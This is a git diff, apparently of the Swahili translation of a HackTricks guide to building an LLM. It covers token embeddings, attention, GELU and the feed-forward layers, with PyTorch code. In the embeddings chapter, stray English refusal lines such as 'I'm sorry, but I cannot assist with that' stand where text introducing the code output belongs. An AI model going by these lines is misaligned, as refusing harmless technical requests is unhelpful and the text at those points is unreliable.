Hebu tuuelewe hili vizuri kutoka kwa mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Tuelewe hili vizuri kutoka kwa mfano wa msimbo kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# 3. Token Embeddings
{{#include /banners/hacktricks-training.md}}
## Token Embeddings
Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au subwords) kuwa vectors za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au maneno madogo) kuwa vector za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka kwazo. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
> [!TIP]
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya token zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
@ -12,10 +14,10 @@ Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa d
### **What Are Token Embeddings?**
**Token Embeddings** ni uwakilishi wa nambari wa token katika nafasi ya vector inayoweza kuendelea. Kila token katika msamiati inahusishwa na vector ya kipekee ya vipimo vilivyowekwa. Vectors hizi zinakamata taarifa za maana na sintaksia kuhusu token, na kuwezesha mfano kuelewa uhusiano na mifumo katika data.
**Token Embeddings** ni uwakilishi wa nambari wa token katika nafasi ya vector inayoendelea. Kila token katika msamiati inahusishwa na vector ya kipekee ya vipimo vilivyowekwa. Vectors hizi zinakamata taarifa za semantiki na sintaksia kuhusu token, na kuwezesha mfano kuelewa uhusiano na mifumo katika data.
- **Ukubwa wa Msamiati:** Jumla ya idadi ya token za kipekee (mfano, maneno, subwords) katika msamiati wa mfano.
- **Vipimo vya Embedding:** Idadi ya thamani za nambari (vipimo) katika vector ya kila token. Vipimo vya juu vinaweza kukamata taarifa za kina zaidi lakini vinahitaji rasilimali za kompyuta zaidi.
- **Ukubwa wa Msamiati:** Jumla ya idadi ya token za kipekee (mfano, maneno, maneno madogo) katika msamiati wa mfano.
- **Vipimo vya Embedding:** Idadi ya thamani za nambari (vipimo) katika vector ya kila token. Vipimo vya juu vinaweza kukamata taarifa za kina zaidi lakini vinahitaji rasilimali zaidi za kompyuta.
**Mfano:**
@ -24,7 +26,7 @@ Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa d
### **Initializing Token Embeddings**
Katika mwanzo wa mafunzo, token embeddings kwa kawaida huanzishwa na thamani ndogo za bahati nasibu. Thamani hizi za awali zinarekebishwa (zinaboreshwa) wakati wa mafunzo ili kuwakilisha vyema maana za token kulingana na data ya mafunzo.
Mwanzo wa mafunzo, token embeddings kwa kawaida huanzishwa na thamani ndogo za bahati nasibu. Thamani hizi za awali zinarekebishwa (zinaboreshwa) wakati wa mafunzo ili kuwakilisha vyema maana za token kulingana na data ya mafunzo.
**PyTorch Example:**
```python
@ -39,7 +41,7 @@ embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
I'm sorry, but I cannot assist with that.
I'm sorry, but I cannot provide the content you requested.
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
@ -61,14 +63,14 @@ tensor([[ 0.3374, -0.1778, -0.1690],
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
I'm sorry, but I cannot assist with that.
I'm sorry, but I cannot provide the content you requested.
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**Tafsiri:**
- Token katika index `3` inawakilishwa na vector `[-0.4015, 0.9666, -1.1481]`.
- Hizi ni thamani zinazoweza kufundishwa ambazo modeli itazirekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
- Thamani hizi ni vigezo vinavyoweza kufundishwa ambavyo modeli itarekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
### **Jinsi Token Embeddings Zinavyofanya Kazi Wakati wa Mafunzo**
@ -148,7 +150,7 @@ Wakati embeddings za token zinashika maana ya tokens binafsi, hazijajumuisha kwa
**Mfano wa Kuongeza Embeddings za Nafasi:**
Kiwango cha embedding ya token ni `[0.5, -0.2, 0.1]` na kiwango chake cha embedding ya nafasi ni `[0.1, 0.3, -0.1]`. Embedding iliyounganishwa inayotumika na mfano ingekuwa:
Kiwango cha embedding cha token ni `[0.5, -0.2, 0.1]` na kiwango chake cha embedding cha nafasi ni `[0.1, 0.3, -0.1]`. Embedding iliyounganishwa inayotumika na mfano ingekuwa:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
@ -161,7 +163,7 @@ Combined Embedding = Token Embedding + Positional Embedding
## Mfano wa Kanuni
Ikifuatiwa na mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Ifuatayo ni mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,127 +1,129 @@
# 4. Mechanism za Umakini
# 4. Attention Mechanisms
## Mechanism za Umakini na Umakini wa Kibinafsi katika Mitandao ya Neva
{{#include /banners/hacktricks-training.md}}
Mechanism za umakini zinawawezesha mitandao ya neva **kuzingatia sehemu maalum za ingizo wakati wa kuzalisha kila sehemu ya pato**. Wanatoa uzito tofauti kwa ingizo tofauti, wakisaidia mfano kuamua ni ingizo gani lina umuhimu zaidi kwa kazi inayofanywa. Hii ni muhimu katika kazi kama tafsiri ya mashine, ambapo kuelewa muktadha wa sentensi nzima ni muhimu kwa tafsiri sahihi.
## Attention Mechanisms and Self-Attention in Neural Networks
Mekanismu za umakini huruhusu mitandao ya neva ku **zingatia sehemu maalum za ingizo wakati wa kuzalisha kila sehemu ya pato**. Wanatoa uzito tofauti kwa ingizo tofauti, wakisaidia mfano kuamua ni ingizo gani lina umuhimu zaidi kwa kazi inayofanywa. Hii ni muhimu katika kazi kama tafsiri ya mashine, ambapo kuelewa muktadha wa sentensi nzima ni muhimu kwa tafsiri sahihi.
> [!TIP]
> Lengo la awamu hii ya nne ni rahisi sana: **Tumia baadhi ya mechanism za umakini**. Hizi zitakuwa **tabaka nyingi zinazojirudia** ambazo zitakuwa **zinanasa uhusiano wa neno katika msamiati na majirani zake katika sentensi ya sasa inayotumika kufundisha LLM**.\
> Tabaka nyingi zinatumika kwa hili, hivyo vigezo vingi vinavyoweza kufundishwa vitakuwa vinanasa taarifa hii.
> Lengo la awamu hii ya nne ni rahisi sana: **Tumia baadhi ya mekanismu za umakini**. Hizi zitakuwa **tabaka nyingi zinazojirudia** ambazo zitakuwa **zinanasa uhusiano wa neno katika msamiati na majirani zake katika sentensi ya sasa inayotumika kufundisha LLM**.\
> Tabaka nyingi zinatumika kwa hili, hivyo vigezo vingi vinavyoweza kufundishwa vitakuwa vinanasa habari hii.
### Kuelewa Mechanism za Umakini
### Understanding Attention Mechanisms
Katika mifano ya jadi ya mfuatano-kwa-mfuatano inayotumika kwa tafsiri ya lugha, mfano unachakata mfuatano wa ingizo kuwa vector ya muktadha yenye ukubwa wa kudumu. Hata hivyo, mbinu hii inakabiliwa na changamoto na sentensi ndefu kwa sababu vector ya muktadha yenye ukubwa wa kudumu inaweza isikamate taarifa zote muhimu. Mechanism za umakini zinashughulikia kikomo hiki kwa kuruhusu mfano kuzingatia token zote za ingizo wakati wa kuzalisha kila token ya pato.
Katika mifano ya jadi ya mfuatano-kwa-mfuatano inayotumika kwa tafsiri ya lugha, mfano unachakata mfuatano wa ingizo kuwa vector ya muktadha wa ukubwa wa kudumu. Hata hivyo, mbinu hii inakabiliwa na changamoto na sentensi ndefu kwa sababu vector ya muktadha wa ukubwa wa kudumu inaweza isichukue habari zote muhimu. Mekanismu za umakini zinashughulikia kikomo hiki kwa kuruhusu mfano kuzingatia token zote za ingizo wakati wa kuzalisha kila token ya pato.
#### Mfano: Tafsiri ya Mashine
#### Example: Machine Translation
Fikiria kutafsiri sentensi ya Kijerumani "Kannst du mir helfen diesen Satz zu übersetzen" kuwa Kiingereza. Tafsiri ya neno kwa neno haitatoa sentensi sahihi ya Kiingereza kutokana na tofauti katika muundo wa sarufi kati ya lugha. Mechanism ya umakini inaruhusu mfano kuzingatia sehemu muhimu za sentensi ya ingizo wakati wa kuzalisha kila neno la sentensi ya pato, na kusababisha tafsiri sahihi na yenye muktadha.
Fikiria kutafsiri sentensi ya Kijerumani "Kannst du mir helfen diesen Satz zu übersetzen" kuwa Kiingereza. Tafsiri ya neno kwa neno haitatoa sentensi sahihi ya Kiingereza kutokana na tofauti katika muundo wa sarufi kati ya lugha. Mekanismu ya umakini inaruhusu mfano kuzingatia sehemu muhimu za sentensi ya ingizo wakati wa kuzalisha kila neno la sentensi ya pato, ikisababisha tafsiri sahihi na yenye muktadha.
### Utangulizi wa Umakini wa Kibinafsi
### Introduction to Self-Attention
Umakini wa kibinafsi, au umakini wa ndani, ni mbinu ambapo umakini unatumika ndani ya mfuatano mmoja ili kuhesabu uwakilishi wa mfuatano huo. Inaruhusu kila token katika mfuatano kuzingatia token nyingine zote, ikisaidia mfano kunasa utegemezi kati ya token bila kujali umbali wao katika mfuatano.
Umakini wa ndani, au umakini wa ndani, ni mekanismu ambapo umakini unatumika ndani ya mfuatano mmoja ili kuhesabu uwakilishi wa mfuatano huo. Inaruhusu kila token katika mfuatano kuzingatia token nyingine zote, ikisaidia mfano kunasa utegemezi kati ya token bila kujali umbali wao katika mfuatano.
#### Dhana Muhimu
#### Key Concepts
- **Token**: Vipengele vya kibinafsi vya mfuatano wa ingizo (kwa mfano, maneno katika sentensi).
- **Embeddings**: Uwiano wa vector wa token, ukikamata taarifa za maana.
- **Uzito wa Umakini**: Thamani zinazotathmini umuhimu wa kila token ikilinganishwa na nyingine.
- **Tokens**: Vipengele vya kibinafsi vya mfuatano wa ingizo (mfano, maneno katika sentensi).
- **Embeddings**: Uwiano wa vector wa token, ukichukua habari za maana.
- **Attention Weights**: Thamani zinazotathmini umuhimu wa kila token ikilinganishwa na nyingine.
### Kuandika Uzito wa Umakini: Mfano wa Hatua kwa Hatua
### Calculating Attention Weights: A Step-by-Step Example
Fikiria sentensi **"Hello shiny sun!"** na uwakilishi wa kila neno kwa embedding ya vipimo 3-dimensional:
Tuchukue sentensi **"Hello shiny sun!"** na kuwakilisha kila neno kwa embedding ya vipimo 3-dimensional:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
Lengo letu ni kuhesabu **vector ya muktadha** kwa neno **"shiny"** kwa kutumia umakini wa kibinafsi.
Lengo letu ni kuhesabu **vector ya muktadha** kwa neno **"shiny"** kwa kutumia umakini wa ndani.
#### Hatua ya 1: Hesabu Alama za Umakini
#### Step 1: Compute Attention Scores
> [!TIP]
> Piga kila thamani ya kipimo cha swali na ile inayofaa ya kila token na ongeza matokeo. Unapata thamani 1 kwa kila jozi ya token.
> Piga kila thamani ya kipimo cha swali na ile inayofaa ya kila token na kuongeza matokeo. Unapata thamani 1 kwa kila jozi ya token.
Kwa kila neno katika sentensi, hesabu **alama ya umakini** kuhusiana na "shiny" kwa kuhesabu bidhaa ya dot ya embeddings zao.
Kwa kila neno katika sentensi, hesabu **alama za umakini** kuhusiana na "shiny" kwa kuhesabu bidhaa ya dot ya embeddings zao.
**Alama ya Umakini kati ya "Hello" na "shiny"**
**Attention Score between "Hello" and "shiny"**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Alama ya Umakini kati ya "shiny" na "shiny"**
**Attention Score between "shiny" and "shiny"**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Alama ya Umakini kati ya "sun" na "shiny"**
**Attention Score between "sun" and "shiny"**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Hatua ya 2: Sanidi Alama za Umakini ili Kupata Uzito wa Umakini
#### Step 2: Normalize Attention Scores to Obtain Attention Weights
> [!TIP]
> Usipotee katika maneno ya kihesabu, lengo la kazi hii ni rahisi, sanidi uzito wote ili **wajumuishe 1 kwa jumla**.
> Usipoteze mwelekeo katika maneno ya kihesabu, lengo la kazi hii ni rahisi, normalize uzito wote ili **wajumuishe 1 kwa jumla**.
>
> Aidha, **softmax** inatumika kwa sababu inasisitiza tofauti kutokana na sehemu ya exponential, ikifanya iwe rahisi kugundua thamani zinazofaa.
> Aidha, **softmax** inatumika kwa sababu inasisitiza tofauti kutokana na sehemu ya exponential, ikifanya iwe rahisi kugundua thamani muhimu.
Tumia **kazi ya softmax** kwa alama za umakini ili kuzigeuza kuwa uzito wa umakini ambao unajumlisha hadi 1.
Tumia **softmax function** kwa alama za umakini ili kuziweka kuwa uzito wa umakini ambao unajumlisha hadi 1.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Hesabu exponentials:
Kuandika exponentials:
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Hesabu jumla:
Kuandika jumla:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Hesabu uzito wa umakini:
Kuandika uzito wa umakini:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Hatua ya 3: Hesabu Vector ya Muktadha
#### Step 3: Compute the Context Vector
> [!TIP]
> Chukua kila uzito wa umakini na upige kwa vipimo vya token vinavyohusiana na kisha jumlisha vipimo vyote ili kupata vector 1 tu (vector ya muktadha)
> Chukua kila uzito wa umakini na uipige kwa vipimo vya token vinavyohusiana na kisha jumlisha vipimo vyote ili kupata vector 1 tu (vector ya muktadha)
**Vector ya muktadha** inahesabiwa kama jumla yenye uzito wa embeddings za maneno yote, kwa kutumia uzito wa umakini.
**Vector ya muktadha** inahesabiwa kama jumla ya uzito wa embeddings za maneno yote, kwa kutumia uzito wa umakini.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
Hesabu kila kipengele:
Kuandika kila kipengele:
- **Embedding yenye Uzito wa "Hello"**:
- **Weighted Embedding of "Hello"**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Embedding yenye Uzito wa "shiny"**:
- **Weighted Embedding of "shiny"**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Embedding yenye Uzito wa "sun"**:
- **Weighted Embedding of "sun"**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jumlisha embeddings zenye uzito:
Kujumlisha embeddings zenye uzito:
`vector ya muktadha=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**Vector hii ya muktadha inawakilisha embedding iliyoimarishwa kwa neno "shiny," ikijumuisha taarifa kutoka kwa maneno yote katika sentensi.**
**Vector hii ya muktadha inawakilisha embedding iliyoimarishwa kwa neno "shiny," ikijumuisha habari kutoka kwa maneno yote katika sentensi.**
### Muhtasari wa Mchakato
### Summary of the Process
1. **Hesabu Alama za Umakini**: Tumia bidhaa ya dot kati ya embedding ya neno lengwa na embeddings za maneno yote katika mfuatano.
2. **Sanidi Alama ili Kupata Uzito wa Umakini**: Tumia kazi ya softmax kwa alama za umakini ili kupata uzito unaojumlisha hadi 1.
3. **Hesabu Vector ya Muktadha**: Piga embedding ya kila neno kwa uzito wake wa umakini na jumlisha matokeo.
1. **Compute Attention Scores**: Tumia bidhaa ya dot kati ya embedding ya neno lengwa na embeddings za maneno yote katika mfuatano.
2. **Normalize Scores to Get Attention Weights**: Tumia softmax function kwa alama za umakini ili kupata uzito unaojumlisha hadi 1.
3. **Compute Context Vector**: Piga embedding ya kila neno kwa uzito wake wa umakini na jumlisha matokeo.
## Umakini wa Kibinafsi na Uzito Unaoweza Kufundishwa
## Self-Attention with Trainable Weights
Katika mazoezi, mechanism za umakini wa kibinafsi hutumia **uzito unaoweza kufundishwa** kujifunza uwakilishi bora kwa maswali, funguo, na thamani. Hii inahusisha kuanzisha matrices tatu za uzito:
Katika mazoezi, mekanismu za umakini wa ndani hutumia **uzito unaoweza kufundishwa** kujifunza uwakilishi bora wa maswali, funguo, na thamani. Hii inahusisha kuanzisha matrices tatu za uzito:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Swali ni data ya kutumia kama hapo awali, wakati matrices za funguo na thamani ni matrices za nasibu zinazoweza kufundishwa.
Swali ni data ya kutumia kama hapo awali, wakati matrices za funguo na thamani ni matrices za bahati nasibu zinazoweza kufundishwa.
#### Hatua ya 1: Hesabu Maswali, Funguo, na Thamani
#### Step 1: Compute Queries, Keys, and Values
Kila token itakuwa na swali lake, funguo na matrix ya thamani kwa kupiga thamani zake za vipimo na matrices zilizofafanuliwa:
@ -129,12 +131,12 @@ Kila token itakuwa na swali lake, funguo na matrix ya thamani kwa kupiga thamani
Matrices hizi zinabadilisha embeddings za asili kuwa nafasi mpya inayofaa kwa kuhesabu umakini.
**Mfano**
**Example**
Tukichukulia:
- Kipimo cha ingizo `din=3` (ukubwa wa embedding)
- Kipimo cha pato `dout=2` (kipimo kinachotakiwa kwa maswali, funguo, na thamani)
- Dimensheni ya ingizo `din=3` (ukubwa wa embedding)
- Dimensheni ya pato `dout=2` (dimensheni inayotakiwa kwa maswali, funguo, na thamani)
Anzisha matrices za uzito:
```python
@ -163,14 +165,14 @@ Kama ilivyo katika mfano wa awali, lakini wakati huu, badala ya kutumia thamani
**Scale the Scores**
Ili kuzuia bidhaa za dot kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa kipimo cha funguo `dk`:
Ili kuzuia dot products kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa kipimo cha funguo `dk`:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu bidhaa za dot zinaweza kuwa kubwa sana na hii husaidia kuzirekebisha.
> Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu dot products zinaweza kuwa kubwa sana na hii husaidia kuziangalia.
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, sanifisha thamani zote ili zijumuishe 1.
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, normalize thamani zote ili zijumuishe 1.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
@ -250,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
### Kuficha Uzito wa Ziada wa Attention kwa Kutumia Dropout
Ili **kuzuia overfitting**, tunaweza kutumia **dropout** kwa uzito wa attention baada ya operesheni ya softmax. Dropout **hufanya baadhi ya uzito wa attention kuwa sifuri kwa nasibu** wakati wa mafunzo.
Ili **kuzuia overfitting**, tunaweza kutumia **dropout** kwa uzito wa attention baada ya operesheni ya softmax. Dropout **hufanya sifuri kwa nasibu baadhi ya uzito wa attention** wakati wa mafunzo.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
@ -409,8 +411,11 @@ Kwa utekelezaji mwingine wa kompakt na mzuri unaweza kutumia [`torch.nn.Multihea
> [!TIP]
> Jibu fupi la ChatGPT kuhusu kwa nini ni bora kugawanya vipimo vya tokens kati ya vichwa badala ya kuwa na kila kichwa kinachunguza vipimo vyote vya tokens zote:
>
> Ingawa kuruhusu kila kichwa kushughulikia vipimo vyote vya embedding kunaweza kuonekana kuwa na faida kwa sababu kila kichwa kitakuwa na ufikiaji wa taarifa kamili, mazoea ya kawaida ni **kugawanya vipimo vya embedding kati ya vichwa**. Njia hii inalinganisha ufanisi wa kompyuta na utendaji wa mfano na inahimiza kila kichwa kujifunza uwakilishi tofauti. Hivyo, kugawanya vipimo vya embedding kwa ujumla kunapendelea kuliko kuwa na kila kichwa kinachunguza vipimo vyote.
> Ingawa kuruhusu kila kichwa kushughulikia vipimo vyote vya embedding kunaweza kuonekana kuwa na faida kwa sababu kila kichwa kitakuwa na ufikiaji wa taarifa kamili, mazoea ya kawaida ni **kugawanya vipimo vya embedding kati ya vichwa**. Njia hii inalinganisha ufanisi wa kompyuta na utendaji wa mfano na inahimiza kila kichwa kujifunza uwakilishi tofauti. Hivyo, kugawanya vipimo vya embedding kwa ujumla kunapewa kipaumbele kuliko kuwa na kila kichwa kinachunguza vipimo vyote.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 5. LLM Architecture
{{#include /banners/hacktricks-training.md}}
## LLM Architecture
> [!TIP]
@ -13,15 +15,15 @@ Mwakilishi wa kiwango cha juu unaweza kuonekana katika:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Input (Tokenized Text)**: Mchakato huanza na maandiko yaliyotolewa tokeni, ambayo yanabadilishwa kuwa uwakilishi wa nambari.
2. **Token Embedding and Positional Embedding Layer**: Maandiko yaliyotolewa tokeni yanapitishwa kupitia **token embedding** layer na **positional embedding layer**, ambayo inashika nafasi ya tokeni katika mfuatano, muhimu kwa kuelewa mpangilio wa maneno.
1. **Input (Tokenized Text)**: Mchakato huanza na maandiko yaliyotolewa token, ambayo yanabadilishwa kuwa uwakilishi wa nambari.
2. **Token Embedding and Positional Embedding Layer**: Maandiko yaliyotolewa token yanapita kupitia **token embedding** layer na **positional embedding layer**, ambayo inashika nafasi ya tokens katika mfuatano, muhimu kwa kuelewa mpangilio wa maneno.
3. **Transformer Blocks**: Mfano una **12 transformer blocks**, kila moja ikiwa na tabaka nyingi. Blocks hizi hurudia mfuatano ufuatao:
- **Masked Multi-Head Attention**: Inaruhusu mfano kuzingatia sehemu tofauti za maandiko ya ingizo kwa wakati mmoja.
- **Layer Normalization**: Hatua ya kawaida ili kuimarisha na kuboresha mafunzo.
- **Feed Forward Layer**: Inawajibika kwa kuchakata habari kutoka kwa tabaka la umakini na kufanya utabiri kuhusu token inayofuata.
- **Dropout Layers**: Tabaka hizi zinazuia overfitting kwa kuacha vitengo kwa bahati nasibu wakati wa mafunzo.
4. **Final Output Layer**: Mfano unatoa **4x50,257-dimensional tensor**, ambapo **50,257** inawakilisha ukubwa wa msamiati. Kila safu katika tensor hii inahusiana na vector ambayo mfano hutumia kutabiri neno linalofuata katika mfuatano.
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa hakika, safu ya mwisho ya pato inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa haswa, safu ya mwisho ya matokeo inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
### Code representation
```python
@ -195,7 +197,7 @@ print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **Kazi ya Kuamsha ya GELU**
### **Kazi ya Kuamsha GELU**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
#### **Madhumuni na Ufanisi**
- **GELU (Gaussian Error Linear Unit):** Kazi ya kuamsha ambayo inaingiza kutokuwa na mstari ndani ya mfano.
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa laini maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo sifuri kwa maingizo hasi.
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa ufanisi maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo za sifuri kwa maingizo hasi.
- **Mwelekeo wa Kihesabu:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -243,14 +245,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Madhumuni na Ufanisi**
- **Mtandao wa FeedForward Kulingana na Nafasi:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
- **Maelezo ya Tabaka:**
- **Tabaka la Kwanza la Mstari:** Huongeza ukubwa kutoka `emb_dim` hadi `4 * emb_dim`.
- **Mtandao wa FeedForward kwa Nafasi:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
- **Maelezo ya Kiwango:**
- **Kiwango cha Kwanza cha Mstari:** Kinapanua ukubwa kutoka `emb_dim` hadi `4 * emb_dim`.
- **Kazi ya GELU:** Inatumia kutokuwa na mstari.
- **Tabaka la Pili la Mstari:** Huleta ukubwa kurudi kwenye `emb_dim`.
- **Kiwango cha Pili cha Mstari:** Kinapunguza ukubwa kurudi kwenye `emb_dim`.
> [!TIP]
> Kama unavyoona, mtandao wa Feed Forward unatumia tabaka 3. La kwanza ni tabaka la mstari ambalo litazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri na hatimaye tabaka lingine la mstari linatumika ili kurudi kwenye ukubwa wa awali wa ukubwa.
> Kama unavyoona, mtandao wa Feed Forward unatumia viwango 3. Kiwango cha kwanza ni kiwango cha mstari ambacho kitazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri zaidi na hatimaye kiwango kingine cha mstari kinatumika kurudi kwenye ukubwa wa awali wa ukubwa.
### **Mekanismu ya Umakini wa Vichwa Vingi**
@ -258,7 +260,7 @@ Hii tayari ilielezwa katika sehemu ya awali.
#### **Madhumuni na Ufanisi**
- **Umakini wa Kujitazama kwa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mlolongo wa ingizo wakati wa kuandika token.
- **Umakini wa Kujitenga kwa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mfuatano wa ingizo wakati wa kuandika token.
- **Vipengele Muhimu:**
- **Maswali, Funguo, Thamani:** Mipango ya mstari ya ingizo, inayotumika kuhesabu alama za umakini.
- **Vichwa:** Mekanismu nyingi za umakini zinazoendesha kwa sambamba (`num_heads`), kila moja ikiwa na ukubwa mdogo (`head_dim`).
@ -266,12 +268,12 @@ Hii tayari ilielezwa katika sehemu ya awali.
- **Kuficha:** Mask ya sababu inatumika kuzuia mfano kuzingatia token za baadaye (muhimu kwa mifano ya autoregressive kama GPT).
- **Uzito wa Umakini:** Softmax ya alama za umakini zilizofichwa na kupimwa.
- **Vector ya Muktadha:** Jumla yenye uzito ya thamani, kulingana na uzito wa umakini.
